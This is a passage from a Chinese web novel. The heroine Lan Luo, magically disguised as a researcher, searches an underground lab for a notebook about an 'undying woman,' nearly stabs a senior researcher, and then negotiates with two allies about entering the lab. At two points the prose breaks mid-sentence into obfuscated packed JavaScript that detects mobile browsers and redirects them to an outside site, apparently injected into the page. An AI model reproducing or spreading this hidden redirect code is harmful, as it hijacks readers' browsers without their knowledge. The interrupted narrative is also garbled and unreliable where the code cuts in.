赫雪盯着祝见尘的照片看了很久,提醒兰落:“提前说明,你提供的只是一张照片,所以身形之类的会有细微区别,如果遇到很熟悉他的人,也许会暴露。” 兰落无所谓,根据她和祝见尘在基地的相处,恐怕除了她自己,也只有叶飞会稍微了解他一点了。 但叶飞又是个眼高于顶的人,不可能会注意到祝见尘的不一样。 “没关系,这点不用担心。”兰落笃定。 赫雪捂着照片,闭上眼睛默念几句,抬手搭上了兰落的肩膀。 兰落肩膀微微紧绷,感受到一股无形的冰凉触感拂过全身,随后她的双手开始伸长,变得骨节分明。 兰落摸了摸自己,她摸到的皮肤是虚假的祝见尘的,但触感确是真实的。 很奇妙的感受。 “切记,不要受伤。” 银烟站在赫雪身后,摸着脖子一脸看热闹:“如果受伤的话,外表是看不出来的,很容易引人怀疑哦。” 兰落知道她在说最开始被自己划破脖子的时候,虽然划出了伤口,但虚拟的外表是不会有损伤的。 银烟手臂骨折那次也一样,外表看不出伤,只能从一直垂在身侧不肯抬起的手臂判断她身上有伤。 兰落不太担心这点,祝见尘的工作环境很难受伤,再加上他关系户的名号,没有人会特意为难他。 她唯一要担心的,可能就是万一刚好被派了工作任务的话,该怎么成功糊弄过去。 祝见尘会的东西,她一点都不会。 “知道了,走吧。” 双手握拳,感受着掌心的温度,兰落眼神沉静,跃跃欲试。 据祝见尘所说,实验室依旧建在地下,有两条路可以通行。 第一条,是从断头台的负一层进入后门,要在地下绕来绕去,但胜在人少,不易被发现。 第二条,是从后山的小山洞进入前门,洞口隐蔽很安全,但实验室的前门人会比较多,伪装起来会比较麻烦。 兰落根本没有思考,直接选择了第一条。 也许是因为自己是从后门逃出来的,她对后门有种天然的信任,再加上幻觉里的那个女人手里的本子也是从断头台消失的,所以说不定从这里走会更容易找到。 “那我们就在这里等你了,如果情况不对我们就自己跑,可别说我们不守信用啊。”银烟带着赫雪藏在了一扇安全门后。 兰落点点头,走出了安全门。 门前的墙壁上,有一扇极为隐蔽的小门,如果不是提前从祝见尘那里得到了消息,恐怕她来了也找不到。 兰落考虑过赫雪两人会在自己进入实验室后偷偷离开,所以刚刚已经偷偷给祝见尘发了消息,让他守在这附近。 比起这两人,祝见尘也许更值得信任。 如果祝见尘也靠不住的话,那她今天就只能直接大闹实验室了。 兰落走到隐藏门跟前,用祝见尘的脸无比自然地打开了后门,学着他懒散的姿态,甩着身份卡走了进去。 实验体基本大同小异,细鬼城也不例外,门内是昏暗的走廊,没有其他人。 兰落打起精神,按照直觉往前走,脚下数着步子。 一百米,太近了。 万幸的是,仓库一般都靠近后门,她不需要走太远。 兰落摇了摇,仓库门没有上锁,于是推开门走进去。 仓库不大,各种架子上布满了灰尘,几乎要看不清上面陈列了一些什么东西。 兰落翻了翻地上的大纸箱,里面什么都有,文件夹、订书机、黑笔…… 就是没有本子。 她想要继续往前走,但脚步已经差不多数到了尽头,再走下去就超过一百米了。 看着前面好几个大箱子,还有里面若隐若现的黑色封皮,兰落犹豫不过两秒,就果断迈出了步子。 失效就失效,反正回到百米范围内就可以续上,只要没有其他人在场就不用太担心。 这是赫雪亲口保证的,她说她可以感应到变形的消失,只要兰落能在变形消失五分钟内赶到一百米内,她就能重新续上变形。 “我只等你五分钟,五分钟还不出现在百米范围内的话,你就自生自灭吧。” 回忆着赫雪的话,兰落掐着时间去翻箱子。 这几个箱子里的确都是笔记本,和她幻觉里一样的黑色皮质本子。 兰落拿出几本翻了翻,全部都是空白的新本子。 底下压着的似乎也是这样,全新无字。 还剩三分钟。 兰落想也没想,换了个箱子翻。 这个箱子里的倒是旧了不少,有的像被水泡过,有的被人写过一点,很符合二手笔记本的特征。 兰落埋头翻,没翻到一本自己想要的。 那女人当时写字的状态很差,浑身没有几块好肉,肯定会把血迹弄在笔记本上,这些本子虽然有使用痕迹,但一丝血痕都没有。 还有最后一分钟。 兰落手指都因为摸多了纸张而发涩,眼睛也有点花,耳朵甚至都有点幻听…… ——慢着! 兰落突然回过神来,侧耳听着外面的动静。 不是幻听! 是真的有人来了! 她扔下本子,看了眼时间。 最后三十秒。 “……仓库,都跟你说了有。” 略微耳熟的声音响起。 未经保养的仓库门轰然大开,兰落站在仓库中,和门口两个女人对视。 叶飞,和那个棕色卷发的女人。 “你……” 棕发女人愣了愣:“祝研究员,你怎么在这里?” “祝见尘”耸肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135283|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“捡破烂。” 叶飞扶了扶眼镜,上下扫了“祝见尘”两眼,语气冷漠:“的确都是破烂。” “是呢,庙小,来了两个大王八。” 棕发女人眯着眼睛笑。 “这些存货自从实验室存在以来就在使用了,大家都用得好好的,甚至资料室里的文件也是用这些东西写的,也就你们大城市来的金贵,用不惯吧。” 她的脸上有一道长长的疤,肉蜈蚣一样横在面中,看起来有点凶恶但圆圆的脸和弯起来的眼睛冲散了这种凶恶,让她看起来有种别样的温柔。 “曲冬,你真是忠心。” “上一次看见这么忠心的,还是在一本书里。” 叶飞转身,点评棕发女人。 曲冬也转身朝外走:“哦?什么书?” “《如何养成一条好狗》。” 仓库门“砰”的一声被关上,兰落站在仓库里,不知道该做何表情。 她都准备好贡献毕生演技了,这两人怎么打个招呼就走了? 挺好的,真的。 就这样吵下去吧,最好带着其他人一起吵,吵到她混入实验室她们也一无所觉就最好了。 兰落拖着最后一个纸箱,一屁股坐在靠门的地方,保证自己不再超过百米线,开始挑挑拣拣。 这箱里也都是半旧不新的本子,甚至还有某位研究员的日记本,但无论如何都没找到那本她想要的。 幻觉是假的? 不,兰落不知为何,潜意识里十分笃定幻觉的真实性。 那就是在别的地方?或者被扔了? 兰落想起曲冬刚刚提到的资料室,会不会在资料室? 她有点犹豫,资料室肯定超出了百米范围,在仓库她可以关着门不被人发现,再往前走的话,一旦变形失效,她就完全暴露了。 “叮叮叮!” 口袋里的通讯器发出提示音,这是赫雪定下的闹钟。 她说变形距离越远,变形目标越大,消耗的异能就越多,所以留给兰落的时间不算长,闹钟响起后最好赶紧离开。 兰落掐掉闹钟,最后环视了一圈仓库,不甘心地打开了门。 刚退出去,走廊尽头就出现了一个人影。 “祝见尘?” 来人声音爽朗,甩着手上的水珠招呼兰落。 兰落停下脚步,她不认识他,只能假装高冷:“嗯。” “哎呀呀,你说说,上面这都多少年不派人过来了,今年一派就是两个,是不是打算重新重用我们细鬼城基地了?” 男人越走越近,兰落瞄了一眼,他的胸口挂着“高克”两个字。 “高老师,”兰落尽力模仿祝见尘一半漫不经心一半阴阳怪气的语调,“细鬼城基地一直都很重要,不然也不会让我们过来学习了。” “哈哈哈哈哈哈哈!” 高克笑得一脸领导样:“好好好,跟你接触的少,没想到你比那个女研究员成熟多了,不愧是陆家的人!” 兰落抽了抽嘴角,不知道自己怎么就给祝见尘立上了这种人设。 她目光停在高克的白大褂衣角,那里有一片非常新鲜的血迹。 兰落移开目光,假装没发现。 她的变形维持不了多少时间了,只想尽快摆脱高克:“那我就先走了,高老师忙。” 高克摆手:“不忙不忙!” “走走走,我跟你一起走!带你熟悉一下我们细鬼城的风土人情!” 52. 资料 ……谁要跟他熟悉。 兰落想拒绝,但高克已经推着他往前走,一副不容拒绝的态度。 她真想给祝见尘打个电话,问问他介不介意自己替他得罪领导。 祝见尘肯定不介意,但兰落介意。 再扯皮下去,她就该当着高克的面变回兰落给他送绩效了。 抓住一个未城逃跑的实验体,能不能让高克升职加薪? 兰落面无表情地刷开了后门,跟高克前后脚离开了实验室。 “哎呀,你别看咱们细鬼城基地有年代感,但这恰恰证明了,我们的基地历史悠久,实力雄厚。” 高克还在滔滔不绝。 兰落觉得他可能是被叶飞甩脸子甩多了,满肚子牛皮没地方吹,现在逮到“祝见尘”了,就想好好耍一耍官威。 高克咽了咽口水:“第一个实验体,整个陆氏的第一个实验体,你知道吧?” “哦?第一个?”兰落假装感兴趣,“那肯定很独特了。” “当然独特!” 高克猛地提高声音:“那可是促成咱们细鬼城基地建立的导火索啊,都是为了那个实验体,陆氏才建立了实验室。” “细鬼城基地,”高克捣了捣兰落,“No.1,第一个基地。” “你知道第一个实验体有多特殊吗?那可比现在的实验体有意义多了……” 兰落皮笑肉不笑地点头,目光搜寻着赫雪还有银烟。 她可千万别离赫雪太远。 超过一百米的话,她可就要想办法弄死这个高克来保护自己了。 兰落视线左右飘,终于在一扇安全门后发现了赫雪的一缕白发。 是时候和高克说再见了。 “高老师,我还有事,就先……” “……她可是不死女!” 两人的声音同时响起,兰落看着高克,嘴边的笑淡了一点:“什么?” 高克眨巴眨巴豆豆眼,有点尴尬似的:“噢噢,有事就先忙吧,我也要回去了。” 赫雪的头发慢慢收了回去,然后一根细细的手指伸了一半出来,对她勾了勾。 赫雪在催她,变形异能要消失了。 “不,”兰落忽视那根手指,扯着假笑问,“您说什么,第一个实验体?” “就,不死女啊。” 高克皱了皱眉毛:“你是不是没去观摩过资料室?虽然你只是外派来的,但是既然来了细鬼城,就要对细鬼城基地有归属感,要把基地当成家……” “资料室!资料室是吧,”兰落的笑真了几分,“黑色的,皮质的,厚厚的?” 她试探性地吐出一个个特征。 高克伸出一根手指,点点她:“对对对,还是看了的,就是没认真看,下次可别这样了啊,好歹是陆家人。” 兰落没想到这东西竟然还真在实验室。 她原本以为本子只是被收走了,没想到那个女人就是实验室的实验体。 高克说她是不死女? 兰落瞳孔颤动,疼痛从心脏处蔓延,透过血管传递到身上的每一个角落。 不死女,不死女,那女人有不死异能。 兰落抚上心口,她好像真的快找到融合不死之力的办法了。 她好像,真的快成为不死者了。 “说起未城,”高克突然压低声音,“你知不知道未城有件大事?” “什么大事?” 兰落的瞳孔都有些涣散,完全在凭借本能机械回答。 高克一边走一边笑:“未城有个军校生,被人开膛破肚,军校找不到凶手,就说是野兽干的,还公开呼吁集中力量清剿野兽。” “听说那个学生快不行了,估计啊,没多久就要办葬礼喽!” 兰落一下子回神,但心脏的疼痛让她说不出话,她也不知道该说些什么。 兰升要死了? 这阵子她都快淡忘这个人的存在了,现在听到他要死了,竟然毫无波澜。 只是忍不住在心底想象着兰父兰母嚎啕大哭的样子。 兰落走在高克身后,抬起手,她的手已经若隐若现,即将维持不住“祝见尘”的模样。 高克走了几步,没听到兰落的回答,“诶”了一声就要转头。 兰落看着自己完全恢复的双手,心脏疼到几乎站不稳,只能闭了闭眼,伸手掏匕首。 先剜了他的一双眼。 干燥的手指突然摁住兰落的右手。 “砰!” 高克回头:“怎么了,什么声音。” “祝见尘”微微一笑:“被刚刚故事里的野兽吓到喽,差点没站稳。” “哈哈哈哈!”高克笑,“你小子,装吧,也就我们细鬼城没有人犬,你们未城基地人犬可太多了,怎么会怕野兽?” “不是怕野兽,是怕他们清剿野兽。” “祝见尘”伸了个懒腰,陪着高克往前走:“谁不知道野外人犬比野兽都多,这一清剿,把人犬都清没了怎么办?” “哈哈哈……” 两人一前一后走出了断头台,与赫雪的距离早已超过了百米。 兰落坐在安全门后,捂着心口注视着他们走远的背影。 走出去的是真的祝见尘。 刚刚异能即将消失,高克即将转头,千钧一发之际,祝见尘不知道从哪冒了出来,制止了她拿刀的动作。 兰落第一次发现祝见尘动作竟然也不慢,虽然无法跟健康状态下的她比,但跟一般异能者比已经快了许多。 高克回头之前,祝见尘一下子把她扔进了安全门后,在高克眼皮子底下来了个狸猫换太子。 只是仓促之间动作太急,差点把她摔蒙了。 兰落平复了一下,心脏好受许多,从地上爬起来拍拍灰尘,看左右无人,这才走到了赫雪她们藏身的安全门。 “谢了。” 赫雪跟银烟还没走,兰落言简意赅道谢。 “我还以为刚刚走出去的是你。”赫雪眼睛微微睁大,她面部表情非常不丰富,这样的动作应该已经算是表情崩塌了。 兰落摇头:“不,是正主。” 银烟撇嘴:“我就说吧,我听见了第三个人的声音,你还不信,偏要在这等着。” 赫雪拍了银烟一下,问兰落:“你发现什么了吗?” “没有,但有线索了。” 兰落避开高克走出去的方向,往断头台外走:“带我去你们家,我们商量一下。” “如果你想进实验室的话。”她补充。 虽然不知道赫雪的目的,但这句话无疑是吊着驴子的胡萝卜,赫雪毫不犹豫就把兰落带回了郊区的小房子。 兰落知道她们的住址,但防止被怀疑,装作不知情的样子,跟在她们身后回了家。 “说吧。” 赫雪坐在主位,示意兰落解释。 兰落没第一时间回答,而是环顾了一圈小房子:“你们怎么找到这个地方的。” “嗤,你羡慕吧,”银烟撑着下巴反坐在椅子上,“我们前几年刚住进来的时候这里可脏了,都是我们自己一天天收拾的。” “哦,不是原住民啊。” 兰落微笑看着银烟,越看越觉得蠢。 虽蠢,但不让人生厌。 赫雪似乎早就习惯银烟这幅样子,把话题引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141635|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回了正轨:“你在实验室看到什么了?为什么突然同意我们进去?” “有我想要的东西。” 兰落没有解释不死女和本子的事,一句话敷衍了过去,转而解释第二个问题:“我要去的地方超过了一百米范围,所以需要把你一起带进去。” 兰落想过不用变形异能,直接潜进去,但那样暴露风险太大了,她还不确定笔记本里的东西能不能让她获得完整的力量,在获得完整不死之力前,她不能过早暴露。 “你为什么一定要进去?” 赫雪审视着兰落:“虽然我很想进去,但我不能保证你的可信度,如果你和实验室是一伙的,故意把我们引到实验室里,我该怎么办?” 兰落不答反问:“那你呢?为什么很想进去?即使你的同伙……同伴不太乐意。” 银烟一抬眉毛,凑近兰落:“我乐不乐意跟你有什么关系?反正我听赫雪的,她要进就进。” 兰落抛了抛匕首,暗中威胁银烟。 银烟安静几秒,突然开口:“你这匕首不是自己的吧。” “对啊,捡的。”兰落没隐瞒。 “哪儿捡的?” 兰落收回匕首:“你问这做什么?” 银烟坐回去:“看着质量不错,改天我也去捡一把。” “行了,说正事。” 赫雪再一次修正话题:“我想去的原因很简单,有仇,报仇。” “就这么简单,所以你呢?” 兰落点头:“我也有仇,暂时不报。你是什么仇?跟谁有仇?” 反正不是叶飞和祝见尘,他俩才来多久,没机会跟赫雪结仇。 “不用你管,总之我们的事情不会干扰到你的行动,等进了实验室,我们确保彼此距离一百米就够了。”赫雪说。 “不说我怎么知道你们会不会干扰我?” 兰落挑眉:“现在是我在筛选你们,面试者还请如实作答。” 她又不是非要选择这个方法,实在不行逼祝见尘去资料室把东西偷出来就行了。 反正他也是空间异能。 但兰落做事不爱假手于人,靠天靠地不如靠自己,所以这个方案也不过是备选。 “为了银烟。” 赫雪定定看着兰落:“为了银烟,我才要报仇。” 银烟看着赫雪,张了张嘴,没说话。 “银烟本来不用龟缩在细鬼城这种地方,都是实验室,实验室害惨了她,如果不是实验室,如果不是那些研究员,她才不会过得像个小混混!” 赫雪撑着桌子站起来,眼里都是怒意:“但你放心,我们不会坏你的事,我们只是踩点,之后会自己报仇。” 银烟低头:“我哪里像小混混了。” 兰落眼角微抽,不知道这个冰山女人是怎么燃起来的,尴尬一笑:“这样啊。” 她也站起来,离赫雪远了一点,假装思考片刻:“那就赫雪跟我一起进去,银烟在外守着。” “不行。” “不可能!” 整齐的拒绝声灌进兰落的耳朵。 “我得保护赫雪,她身体不好,万一你不是好人,她一个人在里面怎么办?!” “我要带上银烟,没有她我不可能跟你走。” 兰落挠了挠脸,上下扫视一眼:“去就去呗。” “可是,”银烟脑子难得在线,“怎么进去?我们没有那么多研究员可以变吧。” “这很简单,”兰落说,“一个研究员,带去了两个实验体,这很正常吧。” 她依次用匕首指她们:“反正,你,还有你,你们本来就都是实验体,不是吗?”